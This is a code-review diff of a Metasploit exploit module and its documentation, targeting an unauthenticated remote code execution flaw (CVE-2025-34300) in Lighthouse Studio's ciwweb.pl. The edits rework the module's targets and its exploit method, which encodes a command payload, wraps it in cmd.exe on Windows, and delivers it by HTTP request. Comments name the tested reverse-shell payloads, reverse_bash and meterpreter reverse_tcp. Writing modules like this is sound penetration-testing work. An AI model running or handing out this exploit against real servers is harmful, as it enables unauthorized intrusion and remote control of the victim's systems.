Code Review Edits

Author: vognik

documentation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md

@@ -299,6 +299,10 @@ If all configurations are correct, Lighthouse Studio will:
 - Initialize the MySQL database
 - Generate CGI scripts
 
+OR (in case of any errors)
+
+Use this instruction to upload manually [Manual Upload to Server](https://sawtoothsoftware.com/help/lighthouse-studio/manual/manual-upload.html)
+
 ## Scenario
 
 ```

modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb

@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::CmdStager
   prepend Msf::Exploit::Remote::AutoCheck
 
   def initialize(info = {})
@@ -26,7 +25,7 @@ def initialize(info = {})
           Successful exploitation may result in remote code execution under the privileges
           of the web server, potentially exposing sensitive data or disrupting survey operations.
 
-          An attacker can execute arbitrary system commands as the web server.
+          An attacker can execute arbitrary system commands in the context of the user running the web server.
         },
         'License' => MSF_LICENSE,
         'Author' => [
@@ -41,45 +40,27 @@ def initialize(info = {})
         'Arch' => [ARCH_CMD],
         'Targets' => [
           [
-            'Linux Dropper',
-            {
-              'Platform' => ['linux'],
-              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
-              'Type' => :nix_dropper,
-              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
-            }
-          ],
-          [
-            'Linux Command',
+            'Unix Command',
             {
               'Platform' => ['unix', 'linux'],
-              'Arch' => [ARCH_CMD],
-              'Type' => :nix_command,
-              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
-            }
-          ],
-          [
-            'Windows Dropper',
-            {
-              'Platform' => 'win',
-              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
-              'Type' => :windows_dropper,
-              'DefaultOptions' => {
-                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
-              }
+              'Arch' => ARCH_CMD,
+              'Type' => :unix_cmd
+              # Tested with cmd/unix/reverse_bash
+              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
             }
           ],
           [
             'Windows Command',
             {
-              'Platform' => 'win',
-              'Arch' => [ARCH_CMD],
-              'Type' => :windows_command,
+              'Platform' => ['windows'],
+              'Arch' => ARCH_CMD,
+              'Type' => :win_cmd,
               'DefaultOptions' => {
-                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
+                'FETCH_WRITABLE_DIR' => 'C:\\\\Windows\\\\Tasks\\\\'
               }
+              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
             }
-          ]
+          ],
         ],
         'DefaultTarget' => 0,
         'DisclosureDate' => '2025-07-16',
@@ -95,7 +76,6 @@ def initialize(info = {})
       [
         OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
         OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']),
-        OptString.new('WritableDir', [false, 'Writable directory for Windows Dropper', 'C:\\Windows\\Tasks\\'])
       ]
     )
   end
@@ -133,8 +113,11 @@ def check
     CheckCode::Safe
   end
 
-  def execute_command(cmd, _opts = {})
-    cmd = Rex::Text.uri_encode(cmd).gsub('\\', '%5C').gsub('/', '%2F')
+  def exploit
+    print_status('Uploading malicious payload...')
+
+    cmd = Rex::Text.uri_encode(payload.encoded).gsub('\\', '%5C').gsub('/', '%2F')
+    cmd = "cmd.exe%20/q%20/c%20\"#{cmd}\"" if target['Type'] == :win_cmd
 
     query = [
       'hid_javascript=1',
@@ -158,20 +141,4 @@ def execute_command(cmd, _opts = {})
       end
     end
   end
-
-  def exploit
-    print_status('Uploading malicious payload...')
-
-    case target['Type']
-    when :windows_dropper
-      # This applies only to Windows
-      # The RCE doesn’t resolve environment variables like %TEMP%, so the path must be specified explicitly
-      # Files on the disk are also not deleted
-      execute_cmdstager(temp: datastore['WritableDir'])
-    when :nix_dropper
-      execute_cmdstager
-    when :windows_command, :nix_command
-      execute_command(payload.encoded)
-    end
-  end
 end